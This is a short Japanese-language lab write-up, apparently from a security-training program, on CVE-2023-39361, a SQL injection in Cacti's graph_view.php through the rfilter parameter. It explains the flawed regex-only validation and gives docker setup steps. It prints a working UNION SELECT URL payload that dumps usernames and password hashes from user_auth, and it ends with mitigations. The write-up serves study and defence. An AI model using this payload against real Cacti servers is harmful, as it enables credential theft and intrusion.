
CVE-2023-39361の概念実証エクスプロイト。Cactiのgraph_view.phpにおけるSQLインジェクションで、データの外部漏洩と潜在的なRCEを引き起こします。
[ WHS 3期 ] - 남기찬_7342 (ChoDeokCheol)
graph_view.phpファイルのgrow_right_pane_tree関数に脆弱性が存在する。actionパラメータをtree_contentに設定すると、ユーザー入力値であるrfilterパラメータが存在する。rfilterパラメータはhtml_validate_tree_vars関数で検証されるが、その検証は単に有効な正規表現かどうかのみを検査する。rfilter値をSQLクエリ内に挿入し、コード挿入が可能となる。docker-compose -vでDocker Composeのインストール有無とバージョンを確認する。docker compose up -dでPoC環境を構築する。(イメージ: cacti:1.2.24)

本脆弱性は、認証設定で一般ユーザー(guest)もグラフを確認できるように設定した場合に発生する。
本脆弱性は以下のようなパラメータ入力で確認できる:
http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23
要求した通りの応答が返ってきたことが確認できる。
SQLインジェクション攻撃は、サーバーの相互作用中にユーザー入力を受け入れることで主に発生する。このSQLインジェクション攻撃によりデータベース内部の機密性が侵害され、資産が漏洩する結果が確認できた。
このSQLインジェクションに対する対策として、rfilterに基本的なホワイトリスト値の検証をチェックするか、(", ', ;, ...)のような特殊文字をエスケープ処理することができる。またはDBアクセス時にDoctrineのようなORMライブラリを使用する改善が考えられる。